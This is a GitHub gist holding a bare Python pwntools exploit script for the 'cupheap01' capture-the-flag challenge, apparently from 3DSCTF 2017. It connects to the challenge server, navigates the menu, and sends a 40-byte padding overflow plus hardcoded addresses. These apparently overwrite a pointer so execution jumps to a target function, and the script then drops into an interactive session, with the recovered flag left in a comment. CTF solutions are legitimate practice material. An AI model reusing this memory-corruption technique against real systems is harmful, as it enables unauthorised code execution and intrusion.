Skip to content

Instantly share code, notes, and snippets.

@berdoezt
Created December 18, 2017 13:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save berdoezt/66ccb8757da39e08fd07fdca819f9d88 to your computer and use it in GitHub Desktop.
Save berdoezt/66ccb8757da39e08fd07fdca819f9d88 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
a = remote('cupheap01.3dsctf.org', 8007)
a.recvuntil(' Give up')
a.sendline('1')
a.recv()
a.recv()
hasil = a.recv()
if '0x1100' in hasil:
a.sendline('4')
print a.recvuntil('Mausoleum')
a.sendline('4')
print a.recvuntil('superpowers?')
p = 'a'*8*5
p += p64(0x0000000000602078)
a.sendline(p)
p = p64(0x00000000004008F7)
a.sendline(p)
a.interactive()
# 3DS{y0u_ALL_fr33_0F_th3_H34Ps_d3BT}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment